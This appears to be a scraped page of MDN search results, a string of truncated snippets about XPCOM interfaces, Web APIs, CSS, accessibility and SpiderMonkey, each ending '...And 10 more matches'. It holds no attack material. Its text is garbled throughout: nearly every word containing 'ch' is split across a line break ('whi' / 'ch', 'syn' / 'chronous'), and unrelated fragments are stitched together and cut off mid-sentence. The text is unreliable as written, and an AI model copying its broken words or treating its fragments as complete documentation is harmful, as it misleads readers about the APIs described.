... if the caller passes a bookmark id, and one of the microsummaries is the current one for the bookmark, this method will retrieve content from the datastore for that microsummary, whi
ch is useful when callers want to display a list of microsummaries for a page that isn't loaded, and they want to display the actual content of the selected microsummary immediately (rather than after the content is asyn
chronously loaded).
...And 10 more matches
nsIMsgDBHdr
in clear, if you want to do a persistent
change to a message header, su
ch as marking it as read, or replied to, or whatever, you must do it through its corresponding nsimsgfolder (msghdr.folder) or nsimsgdatabase (msghdr.folder.msgdatabase).
... void setstringproperty(in string propertyname, in string propertyvalue); string getstringproperty(in string propertyname); unsigned long getuint32property(in string propertyname); void setuint32property(in string propertyname, in unsigned long propertyval); void markread(in boolean read); void markflagged(in boolean flagged); void markhasatta
chments(in boolean hasatta
chments); void setprioritystring(in string priority); unsigned long orflags(in unsigned long flags); unsigned long andflags(in unsigned long flags); void setreferences(in string references); acstring getstringreference(in long refnum); void setrecipientsarray(in string names, in string addresses,in unsigned long numaddre...
...if you want to know whether the message is the root of an ignored subthread then you should
check for the ignored flag.
...And 10 more matches
nsIMsgDBView
available in the mozilla codebase are types "quicksear
ch", "threadswithunread", "wat
chedthreadswithunread", "xfvf" (virtual folders), "sear
ch", "group", and "threaded" ea
ch with their own implementation of nsimsgdbview that provides a different sorting/view of the data.
...dupdater acommandupdater); void sort(in nsmsgviewsorttypevalue sorttype, in nsmsgviewsortordervalue sortorder); void docommand(in nsmsgviewcommandtypevalue command); void docommandwithfolder(in nsmsgviewcommandtypevalue command, in nsimsgfolder destfolder); void getcommandstatus(in nsmsgviewcommandtypevalue command, out boolean selectable_p, out nsmsgviewcommand
checkstatevalue selected_p); void viewnavigate(in nsmsgnavigationtypevalue motion, out nsmsgkey resultid, out nsmsgviewindex resultindex, out nsmsgviewindex threadindex, in boolean wrap); boolean navigatestatus(in nsmsgnavigationtypevalue motion); nsmsgkey getkeyat(in nsmsgviewindex index); nsimsgdbhdr getmsghdrat(in nsmsgviewindex index); nsimsgfolder ge...
... sear
chsession nsimsgsear
chsession the current sear
ch session.
...And 10 more matches
nsIPermissionManager
last
changed in gecko 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) inherits from: nsisupports method overview void add(in nsiuri uri, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void addfromprincipal(in nsiprincipal principal, in string type, in pruint32 permission, [optional] in pruint32 expiretype, [optional] in print64 expiretime); void remove(in autf8string host, in string type); void removefromprincipal(in nsiprinci...
...consumers should
choose this string to be unique, with respect to other consumers.
...consumers should
choose this string to be unique, with respect to other consumers.
...And 10 more matches
nsIProtocolProxyService
inherits from: nsisupports last
changed in gecko 1.7 implemented by: @mozilla.org/network/protocol-proxy-service;1.
...proxy auto config (pac) may perform a syn
chronous dns query, whi
ch may not return immediately.
... if the protocol handler for the given uri supports nsiproxiedprotocolhandler, then the nsiproxyinfo instance returned from resolve may be passed to the nsiproxiedprotocolhandler.newproxied
channel() method to create a nsi
channel to the given uri that uses the specified proxy.
...And 10 more matches
nsISupports proxies
xpcom proxies were a te
chnology whi
ch allowed code to make asyn
chronous or syn
chronous xpcom calls to a different thread on arbitrary xpcom interfaces.
... this te
chnology has been removed in firefox 12 because it was very complex and often lead to strange deadlock conditions.
... it is no longer needed because javascript code can no longer run on arbitrary threads, and compiled code can use compiled runnable to a
chieve the same effect in a mu
ch simpler manner.
...And 10 more matches
nsITransactionListener
inherits from: nsisupports last
changed in gecko 1.7 method overview void didbeginbat
ch(in nsitransactionmanager amanager, in nsresult aresult); void diddo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult adoresult); void didendbat
ch(in nsitransactionmanager amanager, in nsresult aresult); void didmerge(in nsitransactionmanager amanager, in nsitransaction atoptransaction, in nsitransaction atransactiontomerge, in boolean adidmerge, in nsresult amergeresult); void didredo(in nsitransactionmanager amanager, in nsitransaction atransaction, in nsresult aredoresult); void didundo(in nsitransactionmanager amanager, in ...
...nsitransaction atransaction, in nsresult aundoresult); boolean willbeginbat
ch(in nsitransactionmanager amanager); boolean willdo(in nsitransactionmanager amanager, in nsitransaction atransaction); boolean willendbat
ch(in nsitransactionmanager amanager); boolean willmerge(in nsitransactionmanager amanager, in nsitransaction atoptransaction, in nsitransaction atransactiontomerge); boolean willredo(in nsitransactionmanager amanager, in nsitransaction atransaction); boolean willundo(in nsitransactionmanager amanager, in nsitransaction atransaction); methods didbeginbat
ch() called after a nsitransactionmanager begins a bat
ch.
... void didbeginbat
ch( in nsitransactionmanager amanager, in nsresult aresult ); parameters amanager the nsitransactionmanager that began a bat
ch.
...And 10 more matches
nsIVariant
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview acstring getasacstring(); native code only!
...
char getas
char(); native code only!
... w
char getasw
char(); native code only!
...And 10 more matches
nsIWebBrowser
embedders use this interface during initialization to associate the new web browser instance with the embedders
chrome and to register any listeners.
... inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0.
... method overview void addwebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); void removewebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); attributes attribute type description containerwindow nsiwebbrowser
chrome the
chrome object associated with the browser instance.
...And 10 more matches
nsPIPromptService
embedding/components/windowwat
cher/public/nspipromptservice.idlscriptable this interface is for the dialog implementers, not for other developers.
... inherits from: nsisupports last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: the contract id isn't defined.
... this interface defines the meaning of ea
ch indexes of getint(), setint(), getstring() and setstring() of the nsidialogparamblock interface but they are defined on in c++.
...And 10 more matches
XPCOM Interface Reference by grouping
security this section contains apis for secure
channel communications system this section contains application level interfaces including calls to external support elements (su
ch as device calls).
... browser autocomplete nsiautocompletecontroller nsiautocompleteinput nsiautocompletesear
ch console nsiconsolelistener nsiconsolemessage nsiconsoleservice document nsidocshell dom device nsidomgeogeolocation nsidomgeoposition nsidomgeopositionaddress nsidomgeopositioncallback nsidomgeopositioncoords nsidomgeopositionerror nsidomgeopositionerrorcallback nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidom
chromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformeleme...
...eelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztou
chevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleeditabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovide...
...And 10 more matches
Creating a gloda message query
you can find the file, whi
ch includes doxygen markup of sorts, here: https://hg.mozilla.org/comm-central/file/tip/mailnews/db/gloda/modules/gloda.js components.utils.import("resource:///modules/gloda/public.js"); create the query let query = gloda.newquery(gloda.noun_message); add constraints to the query ea
ch constraint function takes one or more arguments whi
ch are "or"ed together.
... so if we had a "color" constraint su
ch as query.color("red", "green", "blue") would mean any of red, green, or blue is okay.
... so if we had a "shape" constraint su
ch as query.shape("square") and we combined it with the previous color constraint it would mat
ch a red square, a green square, or a blue square.
...And 10 more matches
Aggregate view - Firefox Developer Tools
after firefox 48, the default view is the tree map view, and you can swit
ch to the aggregate view using the dropdown labeled "view:": the aggregate view looks something like this: it presents a breakdown of the heap's contents, as a table.
... there are three main ways to group the data: type call stack inverted call stack you can swit
ch between them using the dropdown menu labeled "group by:" located at the top of the panel: there's also a box labeled "filter" at the top-right of the pane.
... type this is the default view, whi
ch looks something like this: it groups the things on the heap into types, including: javascript objects: su
ch as function or array dom elements: su
ch as htmlspanelement or window strings: listed as "strings" javascript sources: listed as "jsscript" internal objects: su
ch as "js::shape".
...And 10 more matches
Work with animations - Firefox Developer Tools
this article covers three tools you can use to visualize and edit animations: the animation inspector editing @keyframes editing timing functions animation inspector the page inspector's animations view displays animations in the page syn
chronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.
...if you click the icon, it enlarges and
changes to color, and the name of the browser appears.
... right-click in the box and select "inspect element" make sure the selected element is the <div class="
channel"> swit
ch over to the "animations" tab play the animation let's take a closer look at the contents of the animation inspector here: it shows a syn
chronized timeline for every animation applied to the selected element or its
children.
...And 10 more matches
DOMMatrixReadOnly - Web APIs
the dommatrix interrface—whi
ch is based upon dommatrixreadonly—adds mutability, allowing you to alter the matrix after creating it.
...the identity matrix is one in whi
ch every value is 0 except those on the main diagonal from top-left to bottom-right corner (in other words, where the offsets in ea
ch direction are equal).
... m11, m12, m13, m14, m21, m22, m23, m24, m31, m32, m33, m34, m41, m42, m43, m44 double-precision floating-point values representing ea
ch component of a 4×4 matrix, where m11 through m14 are the first column, m21 through m24 are the second column, and so forth.
...And 10 more matches
Element.getElementsByTagName() - Web APIs
all descendants of the specified element are sear
ched, but not the element itself.
... the returned list is live, whi
ch means it updates itself with the dom tree automatically.
... therefore, there is no need to call element.getelementsbytagname() with the same element and arguments repeatedly if the dom
changes in between calls.
...And 10 more matches
ExtendableEvent - Web APIs
the extendableevent interface extends the lifetime of the install and activate events dispat
ched on the global scope as part of the service worker lifecycle.
... this ensures that any functional events (like fet
chevent) are not dispat
ched until it upgrades database s
chemas and deletes the outdated ca
che entries.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="co...
...And 10 more matches
FileSystemEntrySync - Web APIs
it also introduces a new url s
cheme: filesystem:.
... you can use the filesystem: s
cheme on google
chrome to see all the files and folders that are stored in the origin of your app.
... just use filesystem: s
cheme for the root directory of the origin of the app.
...And 10 more matches
File and Directory Entries API support in Firefox - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
...work to standardize the specification was abandoned back in 2012, but by that point, google
chrome included its own implementation of the api.
... over time, a number of popular sites and web applications came to use it, often without providing any means of falling back to standard apis or even
checking to be sure the api is available before using it.
...And 10 more matches
Using the Geolocation API - Web APIs
this initiates an asyn
chronous request to detect the user's position, and queries the positioning hardware to get up-to-date information.
... wat
ching the current position if the position data
changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information.
... this is done using the wat
chposition() function, whi
ch has the same input parameters as getcurrentposition().
...And 10 more matches
Navigator - Web APIs
navigator.battery read only returns a batterymanager object you can use to get information about the battery
charging status.
... navigator.keyboard read only returns a keyboard object whi
ch provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
... navigator.locks read only returns a lockmanager object whi
ch provides methods for requesting a new lock object and querying for an existing lock object navigator.mediacapabilities read only returns a mediacapabilities object that can expose information about the decoding and encoding capabilities for a given format and output capabilities.
...And 10 more matches
NotificationEvent - Web APIs
the parameter passed into the onnotificationclick handler, the notificationevent interface represents a notification click event that is dispat
ched on the serviceworkerglobalscope of a serviceworker.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.mat
chall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apith...
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 10 more matches
ParentNode - Web APIs
the parentnode mixin contains methods and properties that are common to all types of node objects that can have
children.
... properties parentnode.
childelementcount read only returns the number of
children of this parentnode whi
ch are elements.
... parentnode.
children read only returns a live htmlcollection containing all of the element objects that are
children of this parentnode, omitting all of its non-element nodes.
...And 10 more matches
SVGCircleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...And 10 more matches
SourceBuffer - Web APIs
the sourcebuffer interface represents a
chunk of media to be passed into an htmlmediaelement and played, via a mediasource object.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebuffer" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-fa...
...mily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sourcebuffer</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties sourcebuffer.appendwindowend controls the timestamp for the end of the append window.
...And 10 more matches
SubtleCrypto.sign() - Web APIs
it returns a promise whi
ch will be fulfilled with the signature.
...the
choice of digest algorithm is passed into the generatekey() or importkey() functions.
... the fourth algorithm — hmac — uses the same algorithm and key for signing and for verification: this means that the verification key must be kept secret, whi
ch in turn means that this algorithm is not suitable for many signature use cases.
...And 10 more matches
WebGLRenderingContext.framebufferTexture2D() - Web APIs
the webglrenderingcontext.framebuffertexture2d() method of the webgl api atta
ches a texture to a webglframebuffer.
... syntax void gl.framebuffertexture2d(target, atta
chment, textarget, texture, level); parameters target a glenum specifying the binding point (target).
... atta
chment a glenum specifying the atta
chment point for the texture.
...And 10 more matches
WebGLRenderingContext.vertexAttribPointer() - Web APIs
type a glenum specifying the data type of ea
ch component in the array.
...if stride is 0, the attribute is assumed to be tightly packed, that is, the attributes are not interleaved but ea
ch attribute is in a separate block, and the next vertex' attribute follows immediately after the current vertex.
...ea
ch vertex has a few attributes, like position, normal vector, or texture coordinate, that are defined in an arraybuffer and will be supplied to the vertex buffer object (vbo).
...And 10 more matches
Taking still photos with WebRTC - Web APIs
ea
ch of these is presented side-by-side in its own <div> to facilitate styling and control.
... the first panel on the left contains two components: a <video> element, whi
ch will receive the stream from webrtc, and a <button> the user clicks to capture a video frame.
... next, we have a <canvas> element into whi
ch the captured frames are stored, potentially manipulated in some way, and then converted into an output image file.
...And 10 more matches
Window.devicePixelRatio - Web APIs
this is useful when dealing with the difference between rendering on a standard display versus a hidpi or retina display, whi
ch use more screen pixels to draw the same objects, resulting in a sharper image.
... you can use window.mat
chmedia() to
check if the value of devicepixelratio
changes (whi
ch can happen, for example, if the user drags the window to a display with a different pixel density).
... use window.devicepixelratio to determine how mu
ch extra pixel density should be added to allow for a sharper image.
...And 10 more matches
ARIA: form role - Accessibility
the html <form> element is sufficient to tell assistive te
chnologies that there is a form.
...main or sear
ch).
...make sure to have a unique label on ea
ch form in a document to help users understand the purpose of the form.
...And 10 more matches
Keyboard - Accessibility
this includes users of screen readers, but can also include users who have trouble operating a pointing device su
ch as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.
... focusable elements should have interactive semantics if an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a
change of some kind (for example, activating a link or
changing an option).
... note: one important exception to this rule is if the element has role="document" applied to it, inside an interactive context (su
ch as role="application").
...And 10 more matches
Border-radius generator - CSS: Cascading Style Sheets
<div class="ui-input-slider" data-topic="height" data-info="height" data-unit=" px" data-min="75" data-max="350" data-sensivity="1"></div> </div> <div id="output"></div> </div> <div class="group section"> <div id="radius-lock"> <div class="info"> rounded corner </div> <div class="ui-
checkbox" data-topic='top-left'></div> <div class="ui-
checkbox" data-topic='top-right'></div> <div class="ui-
checkbox" data-topic='bottom-right'></div> <div class="ui-
checkbox" data-topic='bottom-left'></div> </div> <div id="unit-selection"> <div class="info"> select border units </div> </div> ...
...================================================== */ .group:before, .group:after { content: ""; display: table; } .group:after { clear:both; } .group { zoom: 1; /* for ie 6/7 (trigger haslayout) */ } /* grid column setup * ========================================================================== */ .col { display: block; float:left; margin: 1% 0 1% 1.6%; } .col:first-
child { margin-left: 0; } /* all browsers except ie6 and lower */ /* * ui component */ .ui-input-slider-container { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .ui-input-slider-container * { float: left; height: 100%; line-height: 100%; } /* input slider */ .ui-input-slider > input { margin: 0; p...
...-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover { background-color: #379b4a; cursor: pointer; } /* * ui component */ /*
checkbox */ .ui-
checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-
checkbox > input { display: none; } .ui-
checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height...
...And 10 more matches
Using feature queries - CSS: Cascading Style Sheets
syntax css feature queries are part of the css conditional rules module, whi
ch also contains the media query @media rule; when you use feature queries, you will find they behave in a similar way to media queries.
... the difference is that with a media query you are testing something about the environment in whi
ch the web page is running, whereas with feature queries you are testing browser support for css features.
...you may not test for a bare property name su
ch as display; the rule requires a property name and a value: @supports (property: value) { css rules to apply } if you want to
check if a browser supports the row-gap property, for example, you would write the following feature query.
...And 10 more matches
Testing media queries programmatically - CSS: Cascading Style Sheets
once you've created a mediaquerylist object, you can
check the result of the query or receive notifications when the result
changes.
...to do this, use the window.mat
chmedia method.
... for example, to set up a query list that determines if the device is in landscape or portrait orientation: const mediaquerylist = window.mat
chmedia("(orientation: portrait)");
checking the result of a query once you've created your media query list, you can
check the result of the query by looking at the value of its mat
ches property: if (mediaquerylist.mat
ches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is not currently in portrait orientation, therefore landscape */ } receiving query notifications if you need to be aware of
changes to the evaluated result of the query on an ongoing basis, it's more efficient to register a listener than to poll the query's result.
...And 10 more matches
CSS reference - CSS: Cascading Style Sheets
the syntax for ea
ch specified value depends on the data type defined for ea
ch specified property.
...e-clampa:activeadditive-symbols (@counter-style)::after (:after)align-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibilitybackgroundbackground-atta
chmentbackground-blend-modebackground-clipbackground-colorbackground-imagebackground-originbackground-positionbackground-repeatbackground-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-startborder-block-start-colorborder-block-start-stylebord...
...r-radiusborder-rightborder-right-colorborder-right-styleborder-right-widthborder-spacingborder-start-end-radiusborder-start-start-radiusborder-styleborder-topborder-top-colorborder-top-left-radiusborder-top-right-radiusborder-top-styleborder-top-widthborder-widthbottom@bottom-centerbox-decoration-breakbox-shadowbox-sizingbreak-afterbreak-beforebreak-insidebrightness()ccalc()caption-sidecaret-color
ch@
character-variant
character-variant()@
charset:
checkedcircle()clamp()clearclipclip-pathcm<color>colorcolor-adjustcolumn-countcolumn-fillcolumn-gapcolumn-rulecolumn-rule-colorcolumn-rule-stylecolumn-rule-widthcolumn-spancolumn-widthcolumnsconic-gradient()containcontentcontrast()<counter>counter-incrementcounter-resetcounter-set@counter-stylecounters()cross-fade()cubic-bezier()::cue::cue-regioncursor...
...And 10 more matches
Shorthand properties - CSS: Cascading Style Sheets
tricky edge cases even if they are very convenient to use, there are a few edge cases to keep in mind when using them: a value whi
ch is not specified is set to its initial value.
... first value represents the top edge, the second, the horizontal, that is left and right, ones, and the third value the bottom edge the 4-value syntax: border-width: 1em 2em 3em 4em — the four values represent the top, right, bottom and left edges respectively, always in that order, that is clock-wise starting at the top (the initial letter of top-right-bottom-left mat
ches the order of the consonant of the word trouble: trbl) (you can also remember it as the order that the hands would rotate on a clock: 1em starts in the 12 o'clock position, then 2em in the 3 o'clock position, then 3em in the 6 o'clock position, and 4em in the 9 o'clock position).
...can be shortened to just one declaration: background: #000 url(images/bg.gif) no-repeat left top; (the shorthand form is actually the equivalent of the longhand properties above plus background-atta
chment: scroll and, in css3, some additional properties.) see background for more detailed information, including css3 properties.
...And 10 more matches
Rhino shell
the javascript shell provides a simple way to run scripts in bat
ch mode or an interactive environment for exploratory programming.
... -opt optlevel / -o optlevel optimizes at level optlevel, whi
ch must be -1 or an integer between 0 and 9.
...if multiple arguments are given, ea
ch file is read in and executed in turn.
...And 9 more matches
Statistics API
overview ea
ch time a garbage collection occurs, spidermonkey keeps track of how long ea
ch phase of the collection took, along with some related data.
...vice"); components.utils.import('resource://gre/modules/services.jsm'); function observer(subject, topic, json) { var data = json.parse(json); // process the data } prefs.set("javascript.options.mem.notify", true); services.obs.addobserver(observer, "garbage-collection-statistics", false); the toplevel json object contains these fields: timestamp: integer (microseconds) - time at whi
ch the gc ended, measured from epo
ch.
... slices: array of objects - a list of objects describing ea
ch slice in detail.
...And 9 more matches
JSClass
syntax struct jsclass { const
char *name; uint32_t flags; /* optional since spidermonkey 37 */ jspropertyop addproperty; jsdeletepropertyop delproperty; jspropertyop getproperty; jsstrictpropertyop setproperty; jsenumerateop enumerate; jsresolveop resolve; jsconvertop convert; /* obsolete since spidermonkey 44 */ /* optional since spidermonkey 25 */ jsfinalizeop finalize; /* optional */ jsclassinternal reserved0; /* obsolete since spidermonkey 13 ...
...*/ js
checkaccessop
checkaccess; /* obsolete since spidermonkey 29 */ jsnative call; jshasinstanceop hasinstance; jsnative construct; jsxdrobjectop xdrobject; /* obsolete since spidermonkey 13 */ jstraceop trace; /* added in spidermonkey 17 */ jsclassinternal reserved1; /* obsolete since spidermonkey 13 */ void *reserved[n]; /* sizeof 'reserved' depends on version */ }; name type description name const
char * class name flags uint32_t class flags.
... it implements the object's [[defaultvalue]] hook, whi
ch is invoked by javascript when the object must be converted to a string, number, or primitive value.
...And 9 more matches
JSPropertyOp
they are also the types of the jsclass.addproperty, getproperty, and setproperty callbacks, whi
ch are called during object property accesses.
... bool (* jspropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandlevalue vp); typedef bool (* jsstrictpropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, bool strict, js::mutablehandlevalue vp); // added in spidermonkey 1.9.3 name type description cx jscontext * the context in whi
ch the property access is taking place.
...the meaning of this variable is different for ea
ch of the hooks; see below.
...And 9 more matches
JS_CompileFunctionForPrincipals
syntax jsfunction * js_compilefunctionforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const
char *name, unsigned int nargs, const
char **argnames, const
char *body, size_t length, const
char *filename, unsigned int lineno); jsfunction * js_compileucfunctionforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const
char *name, unsigned int nargs, const
char **argnames, const js
char *body, size_t length, const
char *filename, unsigned int lineno); name type description ...
... cx jscontext * the context in whi
ch to compile the function.
... obj jsobject * object with whi
ch the function is to be associated.
...And 9 more matches
mozIJSSubScriptLoader
66 introduced gecko 1.0 inherits from: nsisupports last
changed in gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3) implemented by: @mozilla.org/moz/jssubscript-loader;1.
... method overview jsval loadsubscript(in string url, in object targetobj optional, in string
charset optional); jsval loadsubscriptwithoptions(in string url, in object options); methods loadsubscript() syn
chronously loads and executes the script from the specified url.
... as of gecko 8.0, scripts are loaded from the startup ca
che where possible.
...And 9 more matches
mozITXTToHTMLConv
last
changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) inherits from nsistreamconverter implemented by @mozilla.org/txttohtmlconv;1 as a service: var ios = components.classes["@mozilla.org/txttohtmlconv;1"] .getservice(components.interfaces.mozitxttohtmlconv); method overview unsigned long citeleveltxt(in wstring line, out unsigned long loglinestart) void findurlinplaintext(in wstring text, in long alength, in long apos, out long astartpos, out long aendpos) ...
... constant type description kentities unsigned long enables conversion of basic special
characters to html entities.
... this applies to "<", "&", and ">" (whi
ch are converted to <, &, and >, respectively).
...And 9 more matches
nsIAccessibleDocument
when accessibility is turned on in gecko, there is an nsiaccessibledocument for ea
ch document whether it is xul, html or whatever.
... inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can queryinterface to nsiaccessibledocument from the nsiaccessible or nsiaccessnode for the root node of a document.
... you can also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() method overview nsiaccessible getaccessibleinparent
chain(in nsidomnode adomnode, in boolean acancreate); obsolete since gecko 2.0 nsiaccessnode getca
chedaccessnode(in voidptr auniqueid); native code only!
...And 9 more matches
nsIAccessibleHyperLink
inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) method overview nsiaccessible getan
chor(in long index); note: renamed from getobject in gecko 1.9 nsiuri geturi(in long index); boolean isselected(); obsolete since gecko 1.9 boolean isvalid(); obsolete since gecko 1.9 attributes attribute type description an
chorcount long the number of an
chors within this hyperlink.
... is normally 1 for an
chors.
... this an
chor is, for example, the visible output of the html:a tag.
...And 9 more matches
nsIAsyncInputStream
inherits from: nsiinputstream last
changed in gecko 1.7 if an input stream is non-blocking, it may return ns_base_stream_would_block when read.
...if the stream implements nsiasyncinputstream, then the caller can use this interface to request an asyn
chronous notification when the stream becomes readable or closed (via the asyncwait() method).
... methods asyncwait() asyn
chronously wait for the stream to be readable or closed.
...And 9 more matches
nsIAsyncOutputStream
inherits from: nsioutputstream last
changed in gecko 1.7 if an output stream is non-blocking, it may return ns_base_stream_would_block when written to.
...if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asyn
chronous notification when the stream becomes writable or closed (via the asyncwait() method).
... methods asyncwait() asyn
chronously wait for the stream to be writable or closed.
...And 9 more matches
nsIDBFolderInfo
inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: ?????????????????????????????????????.
...as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void
changeexpungedbytes(in long delta); void
changenummessages(in long delta); void
changenumunreadmessages(in long delta); boolean getbooleanproperty(in string propertyname, in boolean defaultvalue); void get
